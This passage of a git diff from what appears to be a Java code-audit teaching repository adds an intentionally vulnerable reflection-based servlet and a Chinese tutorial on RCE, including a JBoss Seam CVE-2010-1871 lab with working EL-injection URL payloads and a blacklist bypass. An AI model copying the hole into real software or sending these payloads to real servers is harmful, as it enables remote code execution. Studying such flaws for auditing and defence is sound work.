+import java.lang.reflect.Constructor;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+
+import javax.servlet.ServletException;
+import javax.servlet.annotation.WebServlet;
+import javax.servlet.http.HttpServlet;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+
+import com.sec.pojo.Command;
+
+/**
+ * Servlet implementation class recTest
+ */
+@WebServlet("/rceTest")
+public class rceTest extends HttpServlet {
+
+
+ protected void service(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
+ // TODO Auto-generated method stub
+
+ req.setCharacterEncoding("utf-8");
+ resp.setContentType("text/html;charset=utf-8");
+ try {
+ CommandFound(req,resp);
+ } catch (ClassNotFoundException | InstantiationException | IllegalAccessException | NoSuchMethodException | SecurityException | IllegalArgumentException | InvocationTargetException e) {
+ // TODO Auto-generated catch block
+ e.printStackTrace();
+ }
+
+
+ }
+
+ public void CommandFound(HttpServletRequest req, HttpServletResponse resp) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, SecurityException, IllegalArgumentException, InvocationTargetException, IOException {
+ // TODO Auto-generated method stub
+ PrintWriter print = resp.getWriter();
+
+ String name = req.getParameter("command");
+ String method = req.getParameter("method");
+ String str = req.getParameter("str");
+//
+// String name = "java.lang.Runtime";
+// String names = "exec";
+// String cmd = "open /System/Applications/Calculator.app";
+
+ Class getCommandClass = Class.forName(name);
+ Constructor constructor = getCommandClass.getDeclaredConstructor();
+
+ constructor.setAccessible(true);
+
+ Object getInstance = constructor.newInstance();
+
+ Method getCommandMethod = getCommandClass.getDeclaredMethod(method, String.class);
+ getCommandMethod.setAccessible(true);
+
+ Object mes = getCommandMethod.invoke(getInstance, str);
+
+ print.println("即将执行的操作指令:
");
+ print.println(mes);
+ print.flush();
+ }
+
+}
diff --git "a/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/\343\200\220Java \344\273\243\347\240\201\345\256\241\350\256\241\345\205\245\351\227\250-05\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215.md" "b/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/\343\200\220Java \344\273\243\347\240\201\345\256\241\350\256\241\345\205\245\351\227\250-05\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215.md"
new file mode 100644
index 0000000..a2ead31
--- /dev/null
+++ "b/\343\200\22005\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/\343\200\220Java \344\273\243\347\240\201\345\256\241\350\256\241\345\205\245\351\227\250-05\343\200\221RCE \346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215.md"
@@ -0,0 +1,480 @@
+# 【Java 代码审计入门-05】RCE 漏洞原理与实际案例介绍
+
+## 0x00 写在前面
+
+为什么会有这一些列的文章呢?因为我发现网上没有成系列的文章或者教程,基本上是 Java 代码审计中某个点来阐述的,对于新人来说可能不是那么友好,加上本人也在学习 Java 审计,想做个学习历程的记录和总结,因此有了本系列的文章。
+
+本系列的文章面向人群主要是**拥有 Java 基本语法基础的朋友**,系列文章的内容主要包括,审计环境介绍、SQL 漏洞原理与实际案例介绍、XSS 漏洞原理与实际案例介绍、SSRF 漏洞原理与实际案例介绍、RCE 漏洞原理与实际案例介绍、包含漏洞原理与实际案例介绍、序列化漏洞原理与实际案例介绍、S2系列经典漏洞分析、WebLogic 系列经典漏洞分析、fastjson系列经典漏洞分析、jackson系列经典漏洞分析等,可能内容顺序会略有调整,但是总体内容不会改变,最后希望这系列的文章能够给你带来一点收获。
+
+目前已完成内容如下:
+
+【Java 代码审计入门-01】审计前的准备 https://www.cnpanda.net/codeaudit/588.html
+
+【Java 代码审计入门-02】SQL 漏洞原理与实际案例介绍 https://www.cnpanda.net/codeaudit/600.html
+
+【Java 代码审计入门-03】XSS 漏洞原理与实际案例介绍 https://www.cnpanda.net/codeaudit/605.html
+
+【Java 代码审计入门-04】SSRF 漏洞原理与实际案例介绍 https://www.cnpanda.net/codeaudit/678.html
+
+## 0x01 前戏
+
+下载 RCE 测试源码:
+
+https://github.com/cn-panda/JavaCodeAudit
+
+导入项目,可以得到以下目录:
+
+
+
+项目是一个简单调用类方法去执行相关操作的实现。在 servlet 层接受到请求后,调用 rceTest中的CommandFound函数,该函数接受三个参数:command、method、str,command 为要执行的命令类,method 为要执行的方法,str 为要执行的内容。
+
+本项目模拟用户从web 端向服务器发起添加、删除、修改等操作,该操作通过调用 Command 类中的AddCommand/DeletcCommand/ModifyCommand等方法,去实现请求。
+
+## 0x02 漏洞原理
+
+#### 1、RCE 漏洞的定义及原理
+
+RCE 的中文名称是远程命令执行,指的是攻击者通过Web 端或客户端提交执行命令,由于服务器端没有针对执行函数做过滤或服务端存在逻辑漏洞,导致在没有指定绝对路径的情况下就可以执行命令。
+
+RCE 漏洞的原理其实也很简单,就是通过开发人员没有针对代码中可执行的特殊函数或自定义方法入口做过滤,导致客户端可以提交恶意构造语句,并交由服务器端执行。常见的可执行函数如:`Runtime.exec()`,当然我们审计的时候,决不能只根据这个函数来,其他的审计点如:Process、`ProcessBuilder.start()`等也是很重要的内容。
+
+#### 2、RCE 漏洞可能出现的场景
+
+RCE 出现的场景比较多,如:
+
+1、服务端直接存在可执行函数(`exec()`等),且对传入的参数过滤不严格导致 RCE 漏洞
+
+2、服务端不直接存在可执行函数(`exec()`等),且对传入的参数过滤不严格导致 RCE 漏洞
+
+3、由表达式注入导致的RCE漏洞,常见的如:OGNL、SpEL、MVEL、EL、Fel、JST+EL等
+
+4、由java后端模板引擎注入导致的 RCE 漏洞,常见的如:Freemarker、Velocity、Thymeleaf等
+
+5、由java一些脚本语言引起的 RCE 漏洞,常见的如:Groovy、JavascriptEngine等
+
+6、由第三方开源组件引起的 RCE 漏洞,常见的如:Fastjson、Shiro、Xstream、Struts2、weblogic等
+
+以上是RCE 漏洞出现比较频繁的场景,原理也有些许不同,有的是过滤不严格导致,有的是反序列化调用链导致,有的是特性导致,在这里仅对过滤不严格进行介绍,后两者会在后续的文章中逐一介绍。
+
+#### 3、项目具体演示
+
+拿上述项目举例,首先看看项目的具体实现:
+
+
+
+command 为请求的类,method 为请求类的方法,str 为请求类的参数,服务端接收这三个参数后执行 method 的具体方法,如上图所示,首先找到 `com.sec.pojo.Command`类,然后找到该类中的`AddCommand`方法,最后根据这个方法的需要,传入指定的参数`[add]`。
+
+
+
+项目的实现内容很简单,就是接收参数-->执行操作,下面我们来看这是怎么实现的。在`recTest.java`中,存在如下代码:
+
+```java
+public void CommandFound(HttpServletRequest req, HttpServletResponse resp) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, SecurityException, IllegalArgumentException, InvocationTargetException, IOException {
+ // TODO Auto-generated method stub
+ PrintWriter print = resp.getWriter();
+
+ // 接收参数
+ String name = req.getParameter("command");
+ String method = req.getParameter("method");
+ String str = req.getParameter("str");
+
+ // 获取类的无参数构造方法
+ Class getCommandClass = Class.forName(name);
+ Constructor constructor = getCommandClass.getDeclaredConstructor();
+ constructor.setAccessible(true);
+ // 实例化类
+ Object getInstance = constructor.newInstance();
+
+ // 获取类方法
+ Method getCommandMethod = getCommandClass.getDeclaredMethod(method, String.class);
+ getCommandMethod.setAccessible(true);
+ // 调用类方法
+ Object mes = getCommandMethod.invoke(getInstance, str);
+
+ print.println("即将执行的操作指令:
");
+ print.println(mes);
+ print.flush();
+ }
+}
+```
+
+上段代码中,首先通过反射获取类名,再通过反射获取类方法并使用,这些利用的都是Java 的反射机制。java 的反射机制这里就不详细说明了,有兴趣的朋友可以看看我的这篇文章:https://www.cnpanda.net/codeaudit/705.html
+
+有心的朋友可能发现了,上述代码中没有出现任何一个可执行函数(如exec()、system()等),但是却存在 RCE 漏洞。如下图所示:
+
+
+
+可以发现,由于代码对于我们传入的类、传入类的方法、传入类的参数没有做任何限制,从而导致了 RCE 漏洞,这也是RCE 漏洞可能出现场景中的第二项。
+
+实际上,现在由于反序列化的流行,RCE 漏洞也成为了常客出现在反序列化中,也正是这样,导致反射大量的运用,因为最终要一层层调用链去实现 RCE。
+
+## 0x03 修复方案
+
+由于命令执行所处的场景不同,因此修复的方式也要根据实际场景来。总的来说,需要注意以下几点:
+
+1、禁止用户控制由程序执行的命令。如果用户的输入会影响程序原本的命令执行,那么应该设置一个安全白名单,使用户的输入变成从预定的安全命令集合中进行选择。若在用户的输入中检测出了非白名单中的命令,那么默认从安全命令集合中选择合适的命令给予替换,或者直接拒绝执行该命令。
+
+2、如果需要将用户的输入用作程序命令中的参数,那么需要对用户的输入进行过滤,但实际场景过于复杂、参数难以追踪,导致这种过滤难度很大,在程序有选择的过滤潜在的危险字符时,只要攻击者的字符不在其黑名单内,那么应用程序受到攻击的概率将显著提高,所以更好的方法是组建一份白名单,允许其中的字符出现在输入中,并只接受完全由这些经认可的字符组成的输入,当然这种方案并不是完美的,有时候攻击者通过白名单内的字符组建绕过检测,同样可以达到攻击的目的,因此如何构建白名单、如果设置过滤机制是关键。
+
+3、有时候攻击可以通过修改环境中的命令指令来达到攻击的效果,因此应该设置绝对路径来执行命令。
+
+4、严格设置权限,有的时候我们所需执行命令仅需要很小的权限,如在上方示例代码中,如果我们不设置`setAccessible(true);`,那么攻击者就无法调用 `Runtime.exec()`命令。
+
+## 0x04 实际案例(CVE-2010-1871)分析
+
+#### 1、案例介绍
+
+CVE 地址:https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1871
+
+用于Red Hat Linux的JBoss企业应用程序平台4.3.0中使用的JBoss Seam 2(jboss-seam2)不能正确过滤JBoss表达式语言(EL)表达式的输入,这使远程攻击者可以通过精心制作的URL执行任意代码 。
+
+值得注意的是,在这个漏洞的CVE 介绍中提到:”仅当未正确配置Java安全管理器时,这才是漏洞。“但其实这个漏洞有两个不同的点,如下图,当我们在Metasploit中搜索 cve-2010-1871时:
+
+
+
+存在两个exploit,首先看第一个`auxiliary/admin/http/jboss_seam_exec`的配置
+
+
+
+这个 exploit 利用点在`/admin-console.login.seam`,当配置了java安全管理器后,该漏洞利用不成功。
+
+本文中利用点为:`/seam-booking/home.seam`
+
+#### 2、案例搭建
+
+环境需求:`Ubuntu 18.04`、`jdk 1.6`、`ant 1.6`、`JBoss AS 5.0.1`、`JBoss-seam 2.2.0.CR1`
+
+首先安装 jdk1.6,配置环境变量:
+
+* `chmod u+x /usr/lib/jvm/java/jdk-6u45-linux-x64.bin` 为文件添加可执行权限
+* ` ./jdk-6u45-linux-x64.bin`执行解压文件
+* `mkdir -p /usr/lib/jvm/` 创建 jdk 存放文件夹
+* `cp -r jdk1.6.0_45 /usr/lib/jvm/`将解压后的jdk文件放到刚才创建的文件夹中
+* 安装`java/javac/javaws/jar`命令
+
+```sh
+update-alternatives --install /usr/bin/javac javac /usr/lib/jvm/jdk1.6.0_45/bin/javac 1
+update-alternatives --install /usr/bin/java java /usr/lib/jvm/jdk1.6.0_45/bin/java 1
+update-alternatives --install /usr/bin/javaws javaws /usr/lib/jvm/jdk1.6.0_45/bin/javaws 1
+update-alternatives --install /usr/bin/jar jar /usr/lib/jvm/jdk1.6.0_45/bin/jar 1
+update-alternatives --config javac
+update-alternatives --config java
+update-alternatives --config javaws
+update-alternatives --config jar
+```
+
+* 执行`java -version`命令,若出现版本信息,则安装成功
+
+配置 ant 1.6环境:
+
+* 首先打开 profile 文件`sudo vim /etc/profile`
+
+* 在文件尾部添加以下内容:
+
+```shell
+# 存放 ant 的目录路径
+export ANT_HOME=/home/panda/www/ant
+# 刚才安装的 jdk 目录路径
+export JAVA_HOME=/usr/lib/jvm
+# 下面默认
+export PATH=$JAVA_HOME/bin:$PATH:$ANT_HOME/bin
+export CLASSPATH=.:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar
+```
+
+上述环境变量配置完毕后,执行命令`source /etc/profile`刷新环境变量
+
+配置 JBoss AS 5.0.1:
+
+* 解压`jboss-5.0.1.GA.zip`
+* 打开`/server/default/deploy/jbossweb.sar/server.xml`文件,搜索`${jboss.bind.address}`,将其改为`0.0.0.0`,如下所示:
+
+```xml
+
+
+
+
+
+
+
+```
+
+安装`JBoss-seam 2.2.0.CR1`:
+
+* 解压`JBoss-seam 2.2.0.CR1.zip`
+* 将解压后的文件放在jboss 目录下,如下图所示:
+
+
+
+* 进入`/jboss-seam`目录,编辑`build.properties`文件,在文件尾行加入以下代码:
+
+```
+# 该路径为 Jboss 的安装目录路径
+jboss.home /home/panda/www/jboss
+```
+
+* 进入`jboss-seam/examples/booking`目录,然后执行安装命令:`ant deploy`,程序会自动安装,如下图所示:
+
+
+
+安装完毕后在进入jboss 安装的根目录下的`bin`文件,执行`./run.sh`命令,如下图所示:
+
+
+
+安装完毕后,在本机环境即可打开该站点,如下图所示:
+
+
+
+
+
+在本目录下的/navigation/Pages.java 文件是漏洞的入口,关键代码如下:
+
+```java
+private static boolean callAction(FacesContext facesContext) {
+ boolean result = false;
+ // 获取 HTTP 参数 actionOutcome 的值
+ String outcome = (String)facesContext.getExternalContext().getRequestParameterMap().get("actionOutcome");
+ String fromAction = outcome;
+ if (outcome == null) {
+
+ // 获取 HTTP 参数 actionMethod 的值
+ String actionId = (String)facesContext.getExternalContext().getRequestParameterMap().get("actionMethod");
+ if (actionId != null) {
+
+ if (!SafeActions.instance().isActionSafe(actionId))
+ return result;
+ String expression = SafeActions.toAction(actionId);
+ result = true;
+ Expressions.MethodExpression actionExpression = Expressions.instance().createMethodExpression(expression);
+ outcome = toString(actionExpression.invoke(new Object[0]));
+ fromAction = expression;
+ handleOutcome(facesContext, outcome, fromAction);
+ }
+
+ } else {
+ handleOutcome(facesContext, outcome, fromAction);
+ }
+ return result;
+ }
+```
+
+获取参数,其中如果获取到 actionOutcome 参数,那么直接传入` handleOutcome` 函数中:
+
+```java
+// handleOutcome 方法
+public static void handleOutcome(FacesContext facesContext, String outcome, String fromAction) {
+ facesContext.getApplication().getNavigationHandler().handleNavigation(facesContext, fromAction, outcome);
+ Contexts.getPageContext().flush();
+ }
+```
+
+直接调用`facesContext.getApplication().getNavigationHandler().handleNavigation()`
+
+这句其实等价于我们常见的语句:`FacesContext.getCurrentInstance().getExternalContext().redirect()`
+
+是 JSF中的导航处理,继续看` handleNavigation` 函数:
+
+```java
+// handleNavigation 方法
+public void handleNavigation(FacesContext context, String fromAction, String outcome) {
+ if (!context.getResponseComplete())
+ {
+ if (isOutcomeViewId(outcome)) {
+ FacesManager.instance().interpolateAndRedirect(outcome);
+ } else if (Init.instance().isJbpmInstalled() && Pageflow.instance().isInProcess() && Pageflow.instance().hasTransition(outcome)) {
+ Pageflow.instance().navigate(context, outcome);
+ } else if (!Pages.instance().navigate(context, fromAction, outcome)) {
+ this.baseNavigationHandler.handleNavigation(context, fromAction, outcome);
+ }
+ }
+ }
+```
+
+如果为当前请求没有调用`responseComplete()`方法,则进一步传入`isOutcomeViewId()`方法进行判断:
+
+```java
+ // isOutcomeViewId() 方法
+private static boolean isOutcomeViewId(String outcome) {
+ return (outcome != null && outcome.startsWith("/"));
+ }
+```
+
+若传入的参数不为空,并且以`/`开头,则进入`FacesManager.instance().interpolateAndRedirect()`方法,最后经过以下栈的调用进行了 JBoss EL 表达式的解析:
+
+* interpolateAndRedirect (FacesManager.java)
+* interpolate (Interpolator.java)
+* interpolateExpressions (Interpolator.java)
+* createValueExpression (Expressions.java)
+
+整个漏洞流程如下图所示:
+
+
+
+漏洞的逻辑线上面介绍的比较清楚了,下面的关键是如何构建我们想要的 JBoss EL 表达式。JBoss EL 表达式是在 Java EL 表达式基础上的增强。比如说我们想进行参数绑定,那么可以:
+
+```jsp
+
+
+```
+
+如果想要进行参数值绑定,那么可以:
+
+```java
+#{person.name.length()}
+// 使用length()方法返回一个字符串的长度
+```
+
+JBoss EL 解析器可以在JBoss EL语句中引用服务器端会话对象、会话对象的属性以及参数。在解析基础对象后,用户可以在该对象上调用任意方法。这样一来就使得我们可以通过反射的方式来访问其他任何类及其方法,如我们常用的`java.lang.Runtime`,我们可以通过下面的语句引用来`java.lang.Runtime`类:
+
+```java
+expressions.getClass().forName('java.lang.Runtime')
+```
+
+根据反射的基础知识,我们可以通过反射调用类后,来获取该类的单一方法或者所有方法。
+
+如获取所有的方法:
+
+```java
+expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()
+```
+
+获取单一方法:
+
+```java
+expressions.getClass().forName('java.lang.Runtime').getDeclaredMethod('getRuntime')
+```
+
+执行命令:
+
+```java
+expressions.getClass().forName('java.lang.Runtime').getDeclaredMethod('getRuntime').invoke(expressions.getClass().forName('java.lang.Runtime')).exec('xxx')
+```
+
+这样整个 EL 表达式的最终效果就出来了:
+
+```java
+%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethod('getRuntime').invoke(expressions.getClass().forName('java.lang.Runtime')).exec('xxx')}
+```
+
+结合上面的一些函数要求:
+
+* 要有`actionOutcome`参数
+
+* `actionOutcome`参数要以`/`开头
+* 要有目的导航地址
+* 要含有`?`符号
+* `
+ ?`符号后要有参数
+* EL 表达式要在`?参数=`的后面
+
+综上,payload 最终如下:
+
+```http
+/seam-booking/home.seam?actionOutcome=/test.xhtml?canshu=%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethod('getRuntime').invoke(expressions.getClass().forName('java.lang.Runtime')).exec('gnome-calculator')}
+```
+
+访问后,会返回:
+
+```http
+/seam-booking/test.seam?canshu=java.lang.UNIXProcess%40ef99e17&cid=118
+```
+
+执行效果如下:
+
+
+
+网上也有其他形式的 payload,首先使用`getDeclaredMethods()`得到所有方法,然后采用数组的形式调用指定方法。
+
+假设我们想知道`java.lang.Runtime.getRuntime()`的方法是多少序号,那么可以尝试访问:
+
+```http
+/seam-booking/home.seam?actionOutcome=/test.xhtml?xxx=%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[0]}
+```
+
+
+
+返回的是:
+
+```http
+/seam-booking/test.seam?xxx=public+void+java.lang.Runtime.exit%28int%29&cid=143
+```
+
+明显不是我们想要的`java.lang.Runtime()`,可以继续尝试`getDeclaredMethods()[1]`
+
+最终得到结果如下:
+
+`getDeclaredMethods()[6]`等价于`java.lang.Runtime.getRuntime.exec()`
+
+`getDeclaredMethods()[13]`等价于`java.lang.Runtime.getRuntime()`
+
+因此最后的 payload 就为:
+
+```http
+/seam-booking/home.seam?actionOutcome=/test.xhtml?canshu=%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[13].invoke(expressions.getClass().forName('java.lang.R
+untime').getDeclaredMethods()[6].invoke(null), 'gnome-calculator')}
+```
+
+执行效果:
+
+
+
+
+
+#### 4、修复方案
+
+针对于本漏洞,官方修了两次
+
+https://securitytracker.com/id?1024253
+
+https://securitytracker.com/id/1028601
+
+第一次是对`actionOutcome`中检查是否包含`#{`等字符做了检查,这样完全使得 EL 表达式不能通过 http 传参的方式传入解析。第二次是对另一个参数`actionId`的修复,这里简单说下这个漏洞。
+
+Seam 2.2.2.Final以后, JBoss创建了一个黑名单,`/src/main/org/jboss/seam/blacklist.properties`,针对以下内容进行了过滤:
+
+```
+.getClass()
+.addRole(
+.getPassword(
+.removeRole(
+```
+
+但是依旧被绕过了,可以使用类似数组的运算符来处理黑名单模式(此处方法来自于 orange大神的思路:[点此访问](http://blog.orange.tw/2018/08/how-i-chained-4-bugs-features-into-rce-on-amazon.html),本人未经过验证,有兴趣可以试一试):
+把
+
+```java
+"".getClass().forName("java.lang.Runtime")
+```
+
+改成
+
+```java
+""["class"].forName("java.lang.Runtime")
+```
+
+因为JBoss Seam 只能在 JBoss EAP 7 下使用,而JBoss EAP 也在2016/11月停止维护,所以现在 JBoss Seam 受到的风险很高(因为忽略了一些安全人员提交的漏洞以及依旧在使用不是最新版本的第三方函数库)
+
+## 0x05 总结
+
+代码审计重要的是实际去做,去尝试,所以在动手研究、分析和复现后,收获是巨大的,本文的所有安装包及相关程序以及上传至项目文件,有兴趣的朋友可以自己下载去复现。
+
+## 0x06 参考
+
+https://cloud.tencent.com/developer/article/1547286
+
+https://www.cnblogs.com/jayus/p/11435116.html
+
+http://blog.o0o.nu/2010/07/cve-2010-1871-jboss-seam-framework.html
+
+https://docs.huihoo.com/jboss/seam/2.0.0.GA/reference/zh-cn/elenhancements.html
+
+https://www.anquanke.com/post/id/156078
+
+https://blog.orange.tw/2016/12/java-web.html
+
+http://blog.orange.tw/2018/08/how-i-chained-4-bugs-features-into-rce-on-amazon.html
+
diff --git "a/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/fileInclude(springboot+thymeleaf)/.gitignore" "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/fileInclude(springboot+thymeleaf)/.gitignore"
new file mode 100644
index 0000000..549e00a
--- /dev/null
+++ "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/fileInclude(springboot+thymeleaf)/.gitignore"
@@ -0,0 +1,33 @@
+HELP.md
+target/
+!.mvn/wrapper/maven-wrapper.jar
+!**/src/main/**/target/
+!**/src/test/**/target/
+
+### STS ###
+.apt_generated
+.classpath
+.factorypath
+.project
+.settings
+.springBeans
+.sts4-cache
+
+### IntelliJ IDEA ###
+.idea
+*.iws
+*.iml
+*.ipr
+
+### NetBeans ###
+/nbproject/private/
+/nbbuild/
+/dist/
+/nbdist/
+/.nb-gradle/
+build/
+!**/src/main/**/build/
+!**/src/test/**/build/
+
+### VS Code ###
+.vscode/
diff --git "a/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/fileInclude(springboot+thymeleaf)/.mvn/wrapper/MavenWrapperDownloader.java" "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/fileInclude(springboot+thymeleaf)/.mvn/wrapper/MavenWrapperDownloader.java"
new file mode 100644
index 0000000..a45eb6b
--- /dev/null
+++ "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/fileInclude(springboot+thymeleaf)/.mvn/wrapper/MavenWrapperDownloader.java"
@@ -0,0 +1,118 @@
+/*
+ * Copyright 2007-present the original author or authors.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * https://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+import java.net.*;
+import java.io.*;
+import java.nio.channels.*;
+import java.util.Properties;
+
+public class MavenWrapperDownloader {
+
+ private static final String WRAPPER_VERSION = "0.5.6";
+ /**
+ * Default URL to download the maven-wrapper.jar from, if no 'downloadUrl' is provided.
+ */
+ private static final String DEFAULT_DOWNLOAD_URL = "https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/"
+ + WRAPPER_VERSION + "/maven-wrapper-" + WRAPPER_VERSION + ".jar";
+
+ /**
+ * Path to the maven-wrapper.properties file, which might contain a downloadUrl property to
+ * use instead of the default one.
+ */
+ private static final String MAVEN_WRAPPER_PROPERTIES_PATH =
+ ".mvn/wrapper/maven-wrapper.properties";
+
+ /**
+ * Path where the maven-wrapper.jar will be saved to.
+ */
+ private static final String MAVEN_WRAPPER_JAR_PATH =
+ ".mvn/wrapper/maven-wrapper.jar";
+
+ /**
+ * Name of the property which should be used to override the default download url for the wrapper.
+ */
+ private static final String PROPERTY_NAME_WRAPPER_URL = "wrapperUrl";
+
+ public static void main(String args[]) {
+ System.out.println("- Downloader started");
+ File baseDirectory = new File(args[0]);
+ System.out.println("- Using base directory: " + baseDirectory.getAbsolutePath());
+
+ // If the maven-wrapper.properties exists, read it and check if it contains a custom
+ // wrapperUrl parameter.
+ File mavenWrapperPropertyFile = new File(baseDirectory, MAVEN_WRAPPER_PROPERTIES_PATH);
+ String url = DEFAULT_DOWNLOAD_URL;
+ if (mavenWrapperPropertyFile.exists()) {
+ FileInputStream mavenWrapperPropertyFileInputStream = null;
+ try {
+ mavenWrapperPropertyFileInputStream = new FileInputStream(mavenWrapperPropertyFile);
+ Properties mavenWrapperProperties = new Properties();
+ mavenWrapperProperties.load(mavenWrapperPropertyFileInputStream);
+ url = mavenWrapperProperties.getProperty(PROPERTY_NAME_WRAPPER_URL, url);
+ } catch (IOException e) {
+ System.out.println("- ERROR loading '" + MAVEN_WRAPPER_PROPERTIES_PATH + "'");
+ } finally {
+ try {
+ if (mavenWrapperPropertyFileInputStream != null) {
+ mavenWrapperPropertyFileInputStream.close();
+ }
+ } catch (IOException e) {
+ // Ignore ...
+ }
+ }
+ }
+ System.out.println("- Downloading from: " + url);
+
+ File outputFile = new File(baseDirectory.getAbsolutePath(), MAVEN_WRAPPER_JAR_PATH);
+ if (!outputFile.getParentFile().exists()) {
+ if (!outputFile.getParentFile().mkdirs()) {
+ System.out.println(
+ "- ERROR creating output directory '" + outputFile.getParentFile().getAbsolutePath() + "'");
+ }
+ }
+ System.out.println("- Downloading to: " + outputFile.getAbsolutePath());
+ try {
+ downloadFileFromURL(url, outputFile);
+ System.out.println("Done");
+ System.exit(0);
+ } catch (Throwable e) {
+ System.out.println("- Error downloading");
+ e.printStackTrace();
+ System.exit(1);
+ }
+ }
+
+ private static void downloadFileFromURL(String urlString, File destination) throws Exception {
+ if (System.getenv("MVNW_USERNAME") != null && System.getenv("MVNW_PASSWORD") != null) {
+ String username = System.getenv("MVNW_USERNAME");
+ char[] password = System.getenv("MVNW_PASSWORD").toCharArray();
+ Authenticator.setDefault(new Authenticator() {
+ @Override
+ protected PasswordAuthentication getPasswordAuthentication() {
+ return new PasswordAuthentication(username, password);
+ }
+ });
+ }
+ URL website = new URL(urlString);
+ ReadableByteChannel rbc;
+ rbc = Channels.newChannel(website.openStream());
+ FileOutputStream fos = new FileOutputStream(destination);
+ fos.getChannel().transferFrom(rbc, 0, Long.MAX_VALUE);
+ fos.close();
+ rbc.close();
+ }
+
+}
diff --git "a/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/fileInclude(springboot+thymeleaf)/.mvn/wrapper/maven-wrapper.jar" "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/fileInclude(springboot+thymeleaf)/.mvn/wrapper/maven-wrapper.jar"
new file mode 100644
index 0000000..2cc7d4a
Binary files /dev/null and "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/fileInclude(springboot+thymeleaf)/.mvn/wrapper/maven-wrapper.jar" differ
diff --git "a/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/fileInclude(springboot+thymeleaf)/.mvn/wrapper/maven-wrapper.properties" "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/fileInclude(springboot+thymeleaf)/.mvn/wrapper/maven-wrapper.properties"
new file mode 100644
index 0000000..a9f1ef8
--- /dev/null
+++ "b/\343\200\22006\343\200\221\346\226\207\344\273\266\345\214\205\345\220\253\346\274\217\346\264\236\345\216\237\347\220\206\344\270\216\345\256\236\351\231\205\346\241\210\344\276\213\344\273\213\347\273\215/fileInclude(springboot+thymeleaf)/.mvn/wrapper/maven-wrapper.properties"
@@ -0,0 +1,2 @@
+distributionUrl=https://repo.maven.apache.org/maven2/org/apache/maven/apache-maven/3.8.3/apache-maven-3.8.3-bin.zip
+wrapperUrl=https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.5.6/maven-wrapper-0.5.6.jar
